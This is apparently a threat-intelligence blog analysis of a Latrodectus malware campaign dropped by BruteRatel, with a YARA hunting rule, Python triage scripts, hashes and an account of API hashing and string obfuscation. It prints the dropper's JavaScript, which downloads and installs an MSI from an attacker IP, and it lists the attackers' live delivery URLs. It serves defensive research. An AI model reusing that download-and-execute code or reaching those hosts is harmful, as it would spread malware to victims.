Latrodectus dropped by BR4
quality 7/10 · good
0 net
Latrodectus dropped by BR4 🕷️ ❚ Krakz This article details the last campaign involving Latrodectus malware that is dropped by BruteRatel , some YARA and hunting pivot are also provided. Context # Starting point of the analysis is this message on X from Zscaler published on <2024-06-24 Mon> . 🕷️ The initial access broker using #Latrodectus is back! The group has resurrected the malware loader less than a month after #OperationEndgame . #BruteRatel is currently being used to drop Latrodectus. Sample BruteRatel SHA256 hash:… pic.twitter.com/maaz0OYfd3 — Zscaler ThreatLabz (@Threatlabz) June 23, 2024 Stage 0 (Form_Ver-X-X-X.js) pivot # Starting from the hash of BruteRatel we found the previous stage JavaScript file. That is overwhelm of comments. A short JavaScript function is “ hidden ” in the comment, the function is used to download and execute an MSI file using ActiveXObject("WindowsInstaller.Installer") . function installFromURL () { var msiPath ; try { installer = new ActiveXObject ( "WindowsInstaller.Installer" ); installer . UILevel = 2 ; msiPath = "http:85.208.108.]63/BST.msi" ; installer . InstallProduct ( msiPath ); } catch ( e ) { } } installFromURL (); Code Snippet 1: Form_Ver-18-13-38.js cleaned First pivot on the variable installer calling InstallProduct method: You can use this YARA for instance: rule Latrodectus_JS_dropper { meta : purpose = "hunting" malware = "latrodectus" creation_date = "2024-06-25" description = "JS Dropper that DL and install a BR4 MSI" classification = "TLP:GREEN" strings : $s1 = "ActiveXObject" $s2 = "////// installer.InstallProduct(msiPath);" condition : all of them } Code Snippet 2: YARA hunting rule for the JS dropper > content:“ActiveXObject” content:" // installer.InstallProduct(msiPath);" From the above hunting we get 25 JavaScript files: 04086187681a0737f44284e2f715e3d90a7284157916cf1ece61cccc6d975227 073ed26f17f8efd735ad3f7737e88936f4bf2efd9722a37495874d6dd73ec12d 0a12f2ccd4dc561b924c3c88a9571a36fdd01acd12d5a3eca88d2336989fcb89 156c0afc01a5e346b95ebdb60cea9b7046ad7a61199cd63d6ad0f4ae32a576ac 1e2a94cb10157e71a550fd514c3d3607da6e1d2e3dc59b8aec2b175f8492b182 232ec24aa416bd642fdd2eb5d5eae2c72f2dd028b0f5058e193acb656e010f6d 23303910ff8d01d4d6e1499a627dfa6006793faf36766e0f1e7b9fdf15fb0715 2c63de7f491690900d95080d0741bb8282edfec74e58cdc25e7b9ba3a478e574 3af71ac2d92510f3300be025a4bf07069fb668da5fbd664431fc1a2d898a7765 51d30f6ac9da41e2124b765e74737fa43a6990657f8e57170cea8d59552ce806 5b51c052283b08f981cbab43a7c5fcfe740941317adc6c9d9352291dacfda5f0 71a429fdbaa04f8eee80c05b123ba00635569801ca041fdc7c6ac41de8aa72d3 921f90caf2fab16a171d850e1191f416774b0385b430cd71b4a0d98c270cc940 b023037cc1f1dc53d60cd574dbbb09ce1013ef4e299f793e14ad35407d3d5cc7 babfbd312f46e7deed15f68b4e3d4c6a6492bdcc596aaa946986537d3765b53e bb9203ca1305e47a2ec1443a640efcd5e2c7d11223184639729673579e12967e da305ed28c974ac82afc57ae365e9955b3237cde4659fb1922de4e72ed42f2b7 dc4317e2514603f94394c762b7e92a8a693689657641e190efeb2ed24c690525 e4919fd30fc8ad21a3798684bd9b6104907fa214251ffe6c34dc9ae849c7d1b1 e57990d251937c5e4b27bf2240a08da37a40399bd3faa75ed67616ac3935f843 f7382cb88fb68a4fb40c29fd991bd3b1f1933a264a45b4d336289a7e3891f13c Retrieve all delivery C2: import os urls = set () for _ , _ , filenames in os . walk ( path ): for filename in filenames : with open ( os . path . join ( path , filename ), "r" ) as f : raw_script = f . read () script = [] for line in raw_script . split ( " \n " ): if line . startswith ( "////" ): script . append ( line . replace ( "////" , "" )) if "msiPath = " in line : urls . add ( line . split ( " = " )[ - 1 ] . replace ( ";" , "" ) . replace ( '"' , '' )) return " \n " . join ( urls ) Code Snippet 3: python script to retrieve delivery URLs http://45.95.11.217/ad.msi http://85.208.108.12/WSC.msi http://85.208.108.63/BST.msi http://146.19.106.236/neo.msi http://193.32.177.192/vpn.msi http://185.219.220.149/bim.msi http://85.208.108.12/aes256.msi Table 1: URL triage URL State http://146.19.106.236/neo.msi Down http://185.219.220.149/bim.msi Down http://193.32.177.192/vpn.msi UP <2024-06-24 Mon> http://45.95.11.217/ad.msi DOWN http://85.208.108.12/WSC.msi DOWN http://85.208.108.12/aes256.msi DOWN http://85.208.108.63/BST.msi UP <2024-06-24 Mon> Stage1: MSI # Starting reverse from e57990d251937c5e4b27bf2240a08da37a40399bd3faa75ed67616ac3935f843 ( vpn.msi downloaded from hxxp://193.32.]177.192/vpn.msi ) The MSI install itself in the AppData directory and use a custom action to starts the malicious DLL aclui.dll by calling the exported function edit . Figure 1: MSI executing a DLL using rundll32 N.B: rundll32.exe aclui.dll, edit , this is interesting to see a non standard DLL entrypoint edit The DLL is stored in the MSI in the Files segment, which made its extraction convenient with MSIViewer . Stage 2 BruteRatel: aclui.dll # SHA-256: c5dc5fd676ab5b877bc86f88485c29d9f74933f8e98a33bddc29f0f3acc5a5b9. The DLL is executed using rundll32.exe on the export name edit . Using unpac.me it detects a BruteRatel c4_a0 sample and returns an unpacked file that have this SHA-256 hash: 0d3fd08d237f2f22574edf6baf572fa3b15281170f4d14f98433ddeda9f1c5b2 This file is the first stage of BruteRatel which can again be unpack on unpac.me with the SHA-256 hash: 77a8e883db7da0b905922f7babc79f1c1b78a521b0a31f6d13922bc0603da427 From the last stage of BruteRatel 77a8e883db7da0b905922f7babc79f1c1b78a521b0a31f6d13922bc0603da427 there is some memory pattern that are related to Latrodectus (URL with /live/ ). However at the time of writing ( <2024-06-25 Tue> ) all of the BR4 C2s are down therefore full infection leading to Latrodectus cannot be executed. A comprehensive and interesting article on this Brute Ratel analysis, which complements the missing part of this article, has been written by @BlueEye46572843 . It was published around the same time and is available on the ANY.RUN blog . Stage 3: Latrodectus sample analysis # Overview # As from the last stage of BR4 we cannot retrieve the Latrodectus DLL, we start analysing a sample from the same campaign (JS->BR4->Latrodectus): SHA-256: d843d0016164e7ee6f56e65683985981fb14093ed79fde8e664b308a43ff4e79 The DLL have 4 exported functions that point to the same address: Figure 2: Latrodectus exported functions Dynamic API resolution # Most of the dynamically imported functions are hashed using the CRC32 algorithm, with only two functions hashed using a different algorithm. The malware first dynamically resolves various DLLs: kernel32.dll , Wininet.dll and ntdll.dll . Each DLL is resolved in a dedicated function, and for each function in the DLL, a structure ( api , see the definition below) is created and added to an array. An entry in the api_table array has the following structure: struct api { DWORD funcHash ; HMODULE * hModule ; LPVOID * pFunc ; }; Code Snippet 4: C structure of a api entry Figure 3: NTDLL api resolution The hash are stored in the “normal” representation (crc32), according to reveng.ai article the code come from BlackLotus open source project. Here is a capture of the function used to obtain the DLL base ( _LIST_ENTRY ) of the DLL to load: Figure 4: DLL dynamic loading function string obfusatation # Latrodectus strings are obfuscated using a custom algorithm, each string is stored under a particular structure which has the following shape: struct latrodectus_string { DWORD size ; WORD seed ; CHAR [] buff ; }; Code Snippet 5: Latrodectus string structure Figure 5: Obfuscated string structure The size of the obfsucated data is the result of a XOR operation between the key (4 bytes) and the seed (2 bytes). The malware deobfsucates the string with the function below: Figure 6: Decompiled function used to deobfuscate Latrodectus string Here is the Python script to deobfuscate strings: import struct def deobfuscate_string ( buff : bytes ) -> str : key , seed = struct . unpack ( "